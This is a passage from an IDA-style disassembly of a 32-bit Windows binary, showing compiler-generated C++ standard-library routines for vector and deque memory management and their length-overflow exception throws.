XREF: sub_405FB0+1E9j cmp edi, esi jnz short loc_40619B jmp loc_406104 ; --------------------------------------------------------------------------- loc_4061AC: ; CODE XREF: sub_405FB0+170j push dword ptr [ebp-14h] imul edi, 74h mov ecx, [ebp-14h] push dword ptr [ebp-14h] sub ecx, edi mov [ebp+0Ch], ecx call sub_406B60 push dword ptr [ebp-14h] mov [esi+8], eax mov eax, [ebp+0Ch] push ebx call sub_406B84 add edi, ebx cmp ebx, edi pop ecx pop ecx mov esi, ebx jz short loc_4061ED loc_4061DB: ; CODE XREF: sub_405FB0+23Bj lea eax, [ebp-90h] call sub_406C9C add esi, 74h cmp esi, edi jnz short loc_4061DB loc_4061ED: ; CODE XREF: sub_405FB0+43j ; sub_405FB0+131j ... lea edi, [ebp-90h] call sub_405989 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 10h sub_405FB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406209 proc near ; CODE XREF: sub_405FB0+A0p var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h test ecx, ecx ja short loc_406221 xor ecx, ecx loc_406215: ; CODE XREF: sub_406209+22j imul ecx, 74h push ecx call sub_40DE68 pop ecx leave retn ; --------------------------------------------------------------------------- loc_406221: ; CODE XREF: sub_406209+8j or eax, 0FFFFFFFFh xor edx, edx div ecx cmp eax, 74h jnb short loc_406215 and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax lea ecx, [ebp+var_10] call sub_40D873 push offset dword_41FEA0 lea eax, [ebp+var_10] push eax mov [ebp+var_10], offset off_41C290 call sub_4107BC int 3 ; Trap to Debugger sub_406209 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406253 proc near ; CODE XREF: sub_405BDD+46p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [eax] push ebx push esi push edi mov edi, ecx mov [ebp+var_4], eax mov eax, [edi+4] test eax, eax jnz short loc_40626E xor ebx, ebx jmp short loc_406276 ; --------------------------------------------------------------------------- loc_40626E: ; CODE XREF: sub_406253+15j mov ebx, [edi+0Ch] sub ebx, eax sar ebx, 2 loc_406276: ; CODE XREF: sub_406253+19j mov eax, edi call sub_4058DF mov esi, 3FFFFFFFh mov ecx, esi sub ecx, eax cmp ecx, 1 jnb short loc_406290 call sub_40684D loc_406290: ; CODE XREF: sub_406253+36j mov eax, edi call sub_4058DF inc eax cmp ebx, eax jnb loc_406327 mov eax, ebx shr eax, 1 sub esi, eax cmp esi, ebx jnb short loc_4062AE xor ebx, ebx jmp short loc_4062B0 ; --------------------------------------------------------------------------- loc_4062AE: ; CODE XREF: sub_406253+55j add ebx, eax loc_4062B0: ; CODE XREF: sub_406253+59j mov eax, edi call sub_4058DF inc eax cmp ebx, eax jnb short loc_4062C6 mov eax, edi call sub_4058DF mov ebx, eax inc ebx loc_4062C6: ; CODE XREF: sub_406253+67j mov ecx, ebx call sub_40688D push dword ptr [edi+4] mov ecx, eax mov eax, [ebp+arg_4] mov [ebp+var_8], ecx call sub_406BCA lea ecx, [ebp+var_4] xor edx, edx push ecx inc edx mov esi, eax call sub_405E32 push [ebp+arg_4] mov ecx, eax mov eax, [edi+8] call sub_406BCA mov eax, edi call sub_4058DF mov esi, eax mov eax, [edi+4] inc esi test eax, eax jz short loc_406310 push eax call sub_40DD8A pop ecx loc_406310: ; CODE XREF: sub_406253+B4j mov eax, [ebp+var_8] lea ecx, [eax+ebx*4] mov [edi+0Ch], ecx lea ecx, [eax+esi*4] mov [edi+8], ecx mov [edi+4], eax jmp loc_4063BB ; --------------------------------------------------------------------------- loc_406327: ; CODE XREF: sub_406253+47j mov esi, [edi+8] mov ebx, [ebp+arg_4] mov eax, esi sub eax, ebx sar eax, 2 cmp eax, 1 jnb short loc_40637A lea ecx, [ebx+4] push ebx mov eax, esi call sub_406BCA mov esi, [edi+8] lea eax, [ebp+var_4] push eax mov eax, esi xor edx, edx sub eax, ebx sar eax, 2 inc edx sub edx, eax call sub_405E32 add dword ptr [edi+8], 4 mov edi, [edi+8] lea eax, [edi-4] cmp ebx, eax mov ecx, ebx jz short loc_4063BB loc_40636C: ; CODE XREF: sub_406253+123j mov edx, [ebp+var_4] mov [ecx], edx add ecx, 4 cmp ecx, eax jnz short loc_40636C jmp short loc_4063BB ; --------------------------------------------------------------------------- loc_40637A: ; CODE XREF: sub_406253+E4j lea eax, [esi-4] mov [ebp+arg_4], eax push eax mov ecx, esi mov eax, esi call sub_406BCA mov [edi+8], eax mov eax, [ebp+arg_4] sub eax, ebx sar eax, 2 test eax, eax jle short loc_4063AA shl eax, 2 push eax push ebx push eax sub esi, eax push esi call sub_40D807 add esp, 10h loc_4063AA: ; CODE XREF: sub_406253+144j lea eax, [ebx+4] jmp short loc_4063B7 ; --------------------------------------------------------------------------- loc_4063AF: ; CODE XREF: sub_406253+166j mov ecx, [ebp+var_4] mov [ebx], ecx add ebx, 4 loc_4063B7: ; CODE XREF: sub_406253+15Aj cmp ebx, eax jnz short loc_4063AF loc_4063BB: ; CODE XREF: sub_406253+CFj ; sub_406253+117j ... pop edi pop esi pop ebx leave retn 8 sub_406253 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_405C5B loc_4063C2: ; CODE XREF: sub_405C5B+1Ej mov eax, offset loc_41AFA6 call sub_41AE44 sub esp, 4Ch push offset aDequeTTooLong ; "deque<T> too long" lea ecx, [ebp+var_2C] call sub_401C44 and [ebp+var_4], 0 lea eax, [ebp+var_2C] push eax lea ecx, [ebp+var_54] call sub_401869 push offset dword_41FEF8 lea eax, [ebp+var_54] push eax mov [ebp+var_54], offset off_41C2A8 call sub_4107BC int 3 ; Trap to Debugger ; END OF FUNCTION CHUNK FOR sub_405C5B ; =============== S U B R O U T I N E ======================================= sub_406402 proc near ; CODE XREF: sub_401B38+56p ; sub_401B38+62p ... cmp dword ptr [esi], 0 jnz short loc_40640C call sub_40DCFC loc_40640C: ; CODE XREF: sub_406402+3j mov eax, [esi] mov ecx, [esi+4] cmp ecx, [eax+4] jnz short loc_40641B call sub_40DCFC loc_40641B: ; CODE XREF: sub_406402+12j mov eax, [esi+4] add eax, 8 retn sub_406402 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406422 proc near ; CODE XREF: sub_405DB3+49p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [eax] push ebx push esi push edi mov edi, ecx mov ecx, [edi+4] test ecx, ecx mov [ebp+var_8], eax jnz short loc_40643E and [ebp+var_4], ecx jmp short loc_406449 ; --------------------------------------------------------------------------- loc_40643E: ; CODE XREF: sub_406422+15j mov eax, [edi+0Ch] sub eax, ecx sar eax, 2 mov [ebp+var_4], eax loc_406449: ; CODE XREF: sub_406422+1Aj test ecx, ecx jnz short loc_406451 xor eax, eax jmp short loc_406459 ; --------------------------------------------------------------------------- loc_406451: ; CODE XREF: sub_406422+29j mov eax, [edi+8] sub eax, ecx sar eax, 2 loc_406459: ; CODE XREF: sub_406422+2Dj mov edx, 3FFFFFFFh mov esi, edx sub esi, eax cmp esi, 1 jnb short loc_40646C call sub_40684D loc_40646C: ; CODE XREF: sub_406422+43j test ecx, ecx jnz short loc_406474 xor eax, eax jmp short loc_40647C ; --------------------------------------------------------------------------- loc_406474: ; CODE XREF: sub_406422+4Cj mov eax, [edi+8] sub eax, ecx sar eax, 2 loc_40647C: ; CODE XREF: sub_406422+50j inc eax cmp [ebp+var_4], eax jnb loc_40652D mov eax, [ebp+var_4] shr eax, 1 sub edx, eax cmp edx, [ebp+var_4] jnb short loc_406498 and [ebp+var_4], 0 jmp short loc_40649B ; --------------------------------------------------------------------------- loc_406498: ; CODE XREF: sub_406422+6Ej add [ebp+var_4], eax loc_40649B: ; CODE XREF: sub_406422+74j test ecx, ecx jnz short loc_4064A3 xor eax, eax jmp short loc_4064AB ; --------------------------------------------------------------------------- loc_4064A3: ; CODE XREF: sub_406422+7Bj mov eax, [edi+8] sub eax, ecx sar eax, 2 loc_4064AB: ; CODE XREF: sub_406422+7Fj inc eax cmp [ebp+var_4], eax jnb short loc_4064C5 test ecx, ecx jnz short loc_4064B9 xor eax, eax jmp short loc_4064C1 ; --------------------------------------------------------------------------- loc_4064B9: ; CODE XREF: sub_406422+91j mov eax, [edi+8] sub eax, ecx sar eax, 2 loc_4064C1: ; CODE XREF: sub_406422+95j inc eax mov [ebp+var_4], eax loc_4064C5: ; CODE XREF: sub_406422+8Dj mov ecx, [ebp+var_4] call sub_40688D push dword ptr [edi+4] mov ebx, eax mov eax, [ebp+arg_4] mov ecx, ebx call sub_406BCA lea ecx, [ebp+var_8] xor edx, edx push ecx inc edx mov esi, eax call sub_405E32 push [ebp+arg_4] mov ecx, eax mov eax, [edi+8] call sub_406BCA mov eax, [edi+4] test eax, eax jnz short loc_406502 xor esi, esi jmp short loc_40650A ; --------------------------------------------------------------------------- loc_406502: ; CODE XREF: sub_406422+DAj mov esi, [edi+8] sub esi, eax sar esi, 2 loc_40650A: ; CODE XREF: sub_406422+DEj test eax, eax jz short loc_406515 push eax call sub_40DD8A pop ecx loc_406515: ; CODE XREF: sub_406422+EAj mov eax, [ebp+var_4] lea eax, [ebx+eax*4] mov [edi+0Ch], eax lea eax, [ebx+esi*4+4] mov [edi+8], eax mov [edi+4], ebx jmp loc_4065C1 ; --------------------------------------------------------------------------- loc_40652D: ; CODE XREF: sub_406422+5Ej mov esi, [edi+8] mov ebx, [ebp+arg_4] mov eax, esi sub eax, ebx sar eax, 2 cmp eax, 1 jnb short loc_406580 lea ecx, [ebx+4] push ebx mov eax, esi call sub_406BCA mov esi, [edi+8] lea eax, [ebp+var_8] push eax mov eax, esi xor edx, edx sub eax, ebx sar eax, 2 inc edx sub edx, eax call sub_405E32 add dword ptr [edi+8], 4 mov edi, [edi+8] lea eax, [edi-4] cmp ebx, eax mov ecx, ebx jz short loc_4065C1 loc_406572: ; CODE XREF: sub_406422+15Aj mov edx, [ebp+var_8] mov [ecx], edx add ecx, 4 cmp ecx, eax jnz short loc_406572 jmp short loc_4065C1 ; --------------------------------------------------------------------------- loc_406580: ; CODE XREF: sub_406422+11Bj lea eax, [esi-4] mov [ebp+arg_4], eax push eax mov ecx, esi mov eax, esi call sub_406BCA mov [edi+8], eax mov eax, [ebp+arg_4] sub eax, ebx sar eax, 2 test eax, eax jle short loc_4065B0 shl eax, 2 push eax push ebx push eax sub esi, eax push esi call sub_40D807 add esp, 10h loc_4065B0: ; CODE XREF: sub_406422+17Bj lea eax, [ebx+4] jmp short loc_4065BD ; --------------------------------------------------------------------------- loc_4065B5: ; CODE XREF: sub_406422+19Dj mov ecx, [ebp+var_8] mov [ebx], ecx add ebx, 4 loc_4065BD: ; CODE XREF: sub_406422+191j cmp ebx, eax jnz short loc_4065B5 loc_4065C1: ; CODE XREF: sub_406422+106j ; sub_406422+14Ej ... pop edi pop esi pop ebx leave retn 8 sub_406422 endp ; =============== S U B R O U T I N E ======================================= sub_4065C8 proc near ; CODE XREF: sub_405FB0+20p ; sub_406F12+17p mov eax, offset loc_41B24E call sub_41AE44 push esi mov esi, [ebp+8] push edi push esi mov edi, ecx call sub_406694 and dword ptr [ebp-4], 0 lea eax, [esi+10h] lea ecx, [edi+10h] push eax call sub_40674E lea eax, [edi+20h] push eax lea ecx, [esi+20h] mov byte ptr [ebp-4], 1 call sub_401C1E lea eax, [edi+3Ch] push eax lea ecx, [esi+3Ch] mov byte ptr [ebp-4], 2 call sub_401C1E add edi, 58h push edi lea ecx, [esi+58h] mov byte ptr [ebp-4], 3 call sub_401C1E mov ecx, [ebp-0Ch] pop edi mov eax, esi mov large fs:0, ecx pop esi leave retn 4 sub_4065C8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406631 proc near ; CODE XREF: sub_407454+A8p var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_C] push esi lea esi, [ebp+arg_8] mov [ebp+var_8], eax call sub_405D8F mov esi, [ebp+arg_0] cmp ebx, [esi+4] jz short loc_406680 mov eax, [ebx+4] mov ecx, [ebx] mov [eax], ecx mov eax, [ebx] mov ecx, [ebx+4] push edi lea edi, [ebx+24h] mov [eax+4], ecx call sub_406C09 push 0 push 1 lea ecx, [ebx+8] call sub_4013C4 push ebx call sub_40DD8A dec dword ptr [esi+8] pop ecx pop edi loc_406680: ; CODE XREF: sub_406631+1Ej mov ecx, [ebp+arg_8] mov eax, [ebp+arg_4] mov [eax], ecx mov ecx, [ebp+arg_C] pop esi mov [eax+4], ecx pop ebx leave retn 10h sub_406631 endp ; =============== S U B R O U T I N E ======================================= sub_406694 proc near ; CODE XREF: sub_4065C8+12p mov eax, offset loc_41AFFD call sub_41AE44 sub esp, 14h push ebx push esi mov esi, [ebp+8] mov ebx, ecx push edi mov eax, ebx mov [ebp-10h], esp call sub_40690A xor ecx, ecx cmp eax, ecx mov [esi+4], ecx mov [esi+8], ecx mov [esi+0Ch], ecx jz short loc_406712 mov edi, esi call sub_406920 test al, al jz short loc_406712 and dword ptr [ebp-4], 0 mov eax, [ebx+8] cmp [ebx+4], eax mov [ebp-18h], eax jbe short loc_4066E1 call sub_40DCFC loc_4066E1: ; CODE XREF: sub_406694+46j mov eax, [ebx+4] cmp eax, [ebx+8] mov [ebp-1Ch], eax jbe short loc_4066F1 call sub_40DCFC loc_4066F1: ; CODE XREF: sub_406694+56j mov ecx, [esi+4] xor eax, eax lea edi, [ebp-14h] stosb push dword ptr [ebp-14h] push dword ptr [ebp+8] push ecx push dword ptr [ebp-18h] mov ecx, [ebp-1Ch] call sub_4070DE add esp, 10h mov [esi+8], eax loc_406712: ; CODE XREF: sub_406694+2Cj ; sub_406694+37j mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_406694 endp ; =============== S U B R O U T I N E ======================================= sub_406725 proc near ; DATA XREF: .vty:00420580o mov esi, [ebp+8] call sub_405F66 push 0 push 0 call sub_4107BC int 3 ; Trap to Debugger sub_406725 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_406737 proc near ; CODE XREF: sub_405F66+Ap ; sub_406D1A+4Dp ... arg_0 = dword ptr 4 push esi mov esi, eax jmp short loc_406744 ; --------------------------------------------------------------------------- loc_40673C: ; CODE XREF: sub_406737+11j call sub_4072AA add esi, 38h loc_406744: ; CODE XREF: sub_406737+3j cmp esi, [esp+4+arg_0] jnz short loc_40673C pop esi retn 4 sub_406737 endp ; =============== S U B R O U T I N E ======================================= sub_40674E proc near ; CODE XREF: sub_4065C8+22p mov eax, offset loc_41B21B call sub_41AE44 sub esp, 14h push ebx push esi mov esi, [ebp+8] mov ebx, ecx push edi mov eax, ebx mov [ebp-10h], esp call sub_406949 xor ecx, ecx cmp eax, ecx mov [esi+4], ecx mov [esi+8], ecx mov [esi+0Ch], ecx jz short loc_4067CC mov edi, esi call sub_40695F test al, al jz short loc_4067CC and dword ptr [ebp-4], 0 mov eax, [ebx+8] cmp [ebx+4], eax mov [ebp-18h], eax jbe short loc_40679B call sub_40DCFC loc_40679B: ; CODE XREF: sub_40674E+46j mov eax, [ebx+4] cmp eax, [ebx+8] mov [ebp-1Ch], eax jbe short loc_4067AB call sub_40DCFC loc_4067AB: ; CODE XREF: sub_40674E+56j mov ecx, [esi+4] xor eax, eax lea edi, [ebp-14h] stosb push dword ptr [ebp-14h] push dword ptr [ebp+8] push ecx push dword ptr [ebp-18h] mov ecx, [ebp-1Ch] call sub_407141 add esp, 10h mov [esi+8], eax loc_4067CC: ; CODE XREF: sub_40674E+2Cj ; sub_40674E+37j mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40674E endp ; =============== S U B R O U T I N E ======================================= sub_4067DF proc near ; DATA XREF: .vty:00420B5Co mov esi, [ebp+8] call sub_405F8B push 0 push 0 call sub_4107BC int 3 ; Trap to Debugger sub_4067DF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4067F1 proc near ; CODE XREF: sub_405F8B+Ap ; sub_406E16+4Dp ... arg_0 = dword ptr 4 push edi mov edi, eax cmp edi, [esp+4+arg_0] jz short loc_406818 push esi loc_4067FB: ; CODE XREF: sub_4067F1+24j lea esi, [edi+1Ch] call sub_405AAC push 0 push 1 mov ecx, edi call sub_4013C4 add edi, 2Ch cmp edi, [esp+8+arg_0] jnz short loc_4067FB pop esi loc_406818: ; CODE XREF: sub_4067F1+7j pop edi retn 4 sub_4067F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40681C proc near ; CODE XREF: sub_405FB0+C7p ; sub_405FB0+1A7p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push edi xor eax, eax lea edi, [ebp+var_4] stosb push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_406C3B mov eax, [ebp+arg_4] imul eax, 74h add esp, 14h add eax, [ebp+arg_0] pop edi leave retn 0Ch sub_40681C endp ; =============== S U B R O U T I N E ======================================= sub_40684D proc near ; CODE XREF: sub_405A66+Bj ; sub_405FB0+5Bp ... mov eax, offset loc_41AFA6 call sub_41AE44 sub esp, 4Ch push offset aVectorTTooLong ; "vector<T> too long" lea ecx, [ebp-2Ch] call sub_401C44 and dword ptr [ebp-4], 0 lea eax, [ebp-2Ch] push eax lea ecx, [ebp-54h] call sub_401869 push offset dword_41FEF8 lea eax, [ebp-54h] push eax mov dword ptr [ebp-54h], offset off_41C2A8 call sub_4107BC int 3 ; Trap to Debugger sub_40684D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40688D proc near ; CODE XREF: sub_405C5B+47p ; sub_406253+75p ... var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h test ecx, ecx ja short loc_4068A7 xor ecx, ecx loc_406899: ; CODE XREF: sub_40688D+24j mov eax, ecx shl eax, 2 push eax call sub_40DE68 pop ecx leave retn ; --------------------------------------------------------------------------- loc_4068A7: ; CODE XREF: sub_40688D+8j or eax, 0FFFFFFFFh xor edx, edx div ecx cmp eax, 4 jnb short loc_406899 and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax lea ecx, [ebp+var_10] call sub_40D873 push offset dword_41FEA0 lea eax, [ebp+var_10] push eax mov [ebp+var_10], offset off_41C290 call sub_4107BC int 3 ; Trap to Debugger sub_40688D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4068D9 proc near ; CODE XREF: sub_4033DA+183p ; sub_405BDD+62p arg_0 = dword ptr 4 cmp dword ptr [esi], 0 jnz short loc_4068E3 call sub_40DCFC loc_4068E3: ; CODE XREF: sub_4068D9+3j mov eax, [esi+4] mov ecx, [esi] push edi mov edi, [esp+4+arg_0] shl edi, 2 add eax, edi cmp eax, [ecx+8] ja short loc_4068FC cmp eax, [ecx+4] jnb short loc_406901 loc_4068FC: ; CODE XREF: sub_4068D9+1Cj call sub_40DCFC loc_406901: ; CODE XREF: sub_4068D9+21j add [esi+4], edi mov eax, esi pop edi retn 4 sub_4068D9 endp ; =============== S U B R O U T I N E ======================================= sub_40690A proc near ; CODE XREF: sub_406694+1Ap ; sub_406D1A+13p ... mov ecx, [eax+4] test ecx, ecx jnz short loc_406914 xor eax, eax retn ; --------------------------------------------------------------------------- loc_406914: ; CODE XREF: sub_40690A+5j mov eax, [eax+8] sub eax, ecx push 38h cdq pop ecx idiv ecx retn sub_40690A endp ; =============== S U B R O U T I N E ======================================= sub_406920 proc near ; CODE XREF: sub_406694+30p ; sub_406D1A+DCp push esi mov esi, eax cmp esi, 4924924h jbe short loc_406930 jmp sub_40684D ; --------------------------------------------------------------------------- loc_406930: ; CODE XREF: sub_406920+9j mov ecx, esi call sub_406988 imul esi, 38h add esi, eax mov [edi+4], eax mov [edi+8], eax mov [edi+0Ch], esi mov al, 1 pop esi retn sub_406920 endp ; =============== S U B R O U T I N E ======================================= sub_406949 proc near ; CODE XREF: sub_40674E+1Ap ; sub_406E16+13p ... mov ecx, [eax+4] test ecx, ecx jnz short loc_406953 xor eax, eax retn ; --------------------------------------------------------------------------- loc_406953: ; CODE XREF: sub_406949+5j mov eax, [eax+8] sub eax, ecx push 2Ch cdq pop ecx idiv ecx retn sub_406949 endp ; =============== S U B R O U T I N E ======================================= sub_40695F proc near ; CODE XREF: sub_40674E+30p ; sub_406E16+DCp push esi mov esi, eax cmp esi, 5D1745Dh jbe short loc_40696F jmp sub_40684D ; --------------------------------------------------------------------------- loc_40696F: ; CODE XREF: sub_40695F+9j mov ecx, esi call sub_4069D2 imul esi, 2Ch add esi, eax mov [edi+4], eax mov [edi+8], eax mov [edi+0Ch], esi mov al, 1 pop esi retn sub_40695F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406988 proc near ; CODE XREF: sub_406920+12p ; sub_409E2A+8Ap var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h test ecx, ecx ja short loc_4069A0 xor ecx, ecx loc_406994: ; CODE XREF: sub_406988+22j imul ecx, 38h push ecx call sub_40DE68 pop ecx leave retn ; --------------------------------------------------------------------------- loc_4069A0: ; CODE XREF: sub_406988+8j or eax, 0FFFFFFFFh xor edx, edx div ecx cmp eax, 38h jnb short loc_406994 and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax lea ecx, [ebp+var_10] call sub_40D873 push offset dword_41FEA0 lea eax, [ebp+var_10] push eax mov [ebp+var_10], offset off_41C290 call sub_4107BC int 3 ; Trap to Debugger sub_406988 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4069D2 proc near ; CODE XREF: sub_40695F+12p ; sub_40A022+8Cp var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h test ecx, ecx ja short loc_4069EA xor ecx, ecx loc_4069DE: ; CODE XREF: sub_4069D2+22j imul ecx, 2Ch push ecx call sub_40DE68 pop ecx leave retn ; --------------------------------------------------------------------------- loc_4069EA: ; CODE XREF: sub_4069D2+8j or eax, 0FFFFFFFFh xor edx, edx div ecx cmp eax, 2Ch jnb short loc_4069DE and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax lea ecx, [ebp+var_10] call sub_40D873 push offset dword_41FEA0 lea eax, [ebp+var_10] push eax mov [ebp+var_10], offset off_41C290 call sub_4107BC int 3 ; Trap to Debugger sub_4069D2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A1C proc near ; CODE XREF: sub_402BCF+103p ; sub_4033DA+270p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_10] push esi push edi mov edi, [ebp+arg_C] sub edi, [ebp+arg_4] mov [ebp+var_8], eax mov eax, [ebp+arg_14] lea esi, [ebp+var_8] mov [ebp+var_4], eax call sub_40702B mov ecx, [eax] mov esi, [ebp+arg_4] cmp esi, [ebp+arg_C] mov eax, [eax+4] mov [ebx], ecx mov [ebx+4], eax jz short loc_406A67 mov edi, [ebp+arg_14] sub edi, esi loc_406A54: ; CODE XREF: sub_406A1C+49j movsx eax, byte ptr [esi] push eax call sub_40F97B mov [edi+esi], al inc esi cmp esi, [ebp+arg_C] pop ecx jnz short loc_406A54 loc_406A67: ; CODE XREF: sub_406A1C+31j pop edi mov eax, ebx pop esi leave retn sub_406A1C endp ; =============== S U B R O U T I N E ======================================= sub_406A6D proc near ; CODE XREF: sub_402E64+BAp ; sub_4081BF+5Fp ... arg_0 = dword ptr 4 push edi push [esp+4+arg_0] call sub_40D970 pop ecx push [esp+4+arg_0] mov ecx, [esi+14h] mov edi, eax mov eax, esi call sub_4059BE neg eax sbb eax, eax inc eax pop edi retn sub_406A6D endp ; =============== S U B R O U T I N E ======================================= sub_406A8F proc near ; CODE XREF: sub_4056BC+43p ; sub_4056BC+9Ep ... arg_0 = dword ptr 4 push ebx push esi mov ebx, eax mov eax, [esp+8+arg_0] push edi mov edi, ecx sub eax, edi push 1Ch cdq pop ecx idiv ecx mov esi, eax imul esi, 1Ch add esi, ebx cmp edi, [esp+0Ch+arg_0] jz short loc_406AC7 sub ebx, edi loc_406AB1: ; CODE XREF: sub_406A8F+36j push 0FFFFFFFFh push 0 push edi lea ecx, [ebx+edi] call sub_401315 add edi, 1Ch cmp edi, [esp+0Ch+arg_0] jnz short loc_406AB1 loc_406AC7: ; CODE XREF: sub_406A8F+1Ej pop edi mov eax, esi pop esi pop ebx retn sub_406A8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406ACD proc near ; CODE XREF: sub_4056BC+ECp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push edi xor eax, eax lea edi, [ebp+var_4] stosb push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_4] push [ebp+arg_0] call sub_407078 add esp, 10h pop edi leave retn 8 sub_406ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AF1 proc near ; CODE XREF: sub_405B80+25p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov ebx, eax mov eax, [ebp+arg_0] push esi push edi sub eax, ebx push 74h cdq pop ecx idiv ecx mov edi, eax imul edi, 74h add edi, [ebp+arg_4] cmp ebx, [ebp+arg_0] jz short loc_406B31 mov eax, [ebp+arg_4] sub eax, ebx mov [ebp+arg_4], eax jmp short loc_406B1F ; --------------------------------------------------------------------------- loc_406B1C: ; CODE XREF: sub_406AF1+3Ej mov eax, [ebp+arg_4] loc_406B1F: ; CODE XREF: sub_406AF1+29j lea esi, [eax+ebx] mov eax, ebx call sub_406C9C add ebx, 74h cmp ebx, [ebp+arg_0] jnz short loc_406B1C loc_406B31: ; CODE XREF: sub_406AF1+1Fj mov eax, edi pop edi pop esi pop ebx pop ecx pop ebp retn sub_406AF1 endp ; =============== S U B R O U T I N E ======================================= sub_406B39 proc near ; CODE XREF: sub_405C5B+63p ; sub_405C5B+7Ep ... arg_0 = dword ptr 4 sub eax, [esp+arg_0] push esi sar eax, 2 lea eax, ds:0[eax*4] lea esi, [eax+ecx] jz short loc_406B5C push eax push [esp+8+arg_0] push eax push ecx call sub_40D807 add esp, 10h loc_406B5C: ; CODE XREF: sub_406B39+12j mov eax, esi pop esi retn sub_406B39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B60 proc near ; CODE XREF: sub_405FB0+B6p ; sub_405FB0+D6p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push edi xor eax, eax lea edi, [ebp+var_4] stosb push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_4] push [ebp+arg_0] call sub_40765F add esp, 10h pop edi leave retn 8 sub_406B60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B84 proc near ; CODE XREF: sub_405FB0+21Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov ebx, eax sub eax, [ebp+arg_0] push esi push edi cdq push 74h pop ecx idiv ecx mov edi, [ebp+arg_4] imul eax, 74h sub edi, eax cmp [ebp+arg_0], ebx jz short loc_406BC2 mov eax, [ebp+arg_4] sub eax, ebx mov [ebp+arg_4], eax jmp short loc_406BB0 ; --------------------------------------------------------------------------- loc_406BAD: ; CODE XREF: sub_406B84+3Cj mov eax, [ebp+arg_4] loc_406BB0: ; CODE XREF: sub_406B84+27j sub ebx, 74h lea esi, [eax+ebx] mov eax, ebx call sub_406C9C cmp ebx, [ebp+arg_0] jnz short loc_406BAD loc_406BC2: ; CODE XREF: sub_406B84+1Dj mov eax, edi pop edi pop esi pop ebx pop ecx pop ebp retn sub_406B84 endp ; =============== S U B R O U T I N E ======================================= sub_406BCA proc near ; CODE XREF: sub_406253+85p ; sub_406253+A0p ... arg_0 = dword ptr 4 sub eax, [esp+arg_0] push esi sar eax, 2 lea eax, ds:0[eax*4] lea esi, [eax+ecx] jz short loc_406BED push eax push [esp+8+arg_0] push eax push ecx call sub_40D807 add esp, 10h loc_406BED: ; CODE XREF: sub_406BCA+12j mov eax, esi pop esi retn 4 sub_406BCA endp ; --------------------------------------------------------------------------- loc_406BF3: ; CODE XREF: .vty:0041B302j push edi lea edi, [esi+1Ch] call sub_406C09 push 0 push 1 mov ecx, esi call sub_4013C4 pop edi retn ; =============== S U B R O U T I N E ======================================= sub_406C09 proc near ; CODE XREF: sub_4055A2+24p ; sub_406631+33p ... push esi mov esi, [edi+4] test esi, esi jz short loc_406C2D push ebx mov ebx, [edi+8] jmp short loc_406C1F ; --------------------------------------------------------------------------- loc_406C17: ; CODE XREF: sub_406C09+18j call sub_407598 add esi, 5Ch loc_406C1F: ; CODE XREF: sub_406C09+Cj cmp esi, ebx jnz short loc_406C17 push dword ptr [edi+4] call sub_40DD8A pop ecx pop ebx loc_406C2D: ; CODE XREF: 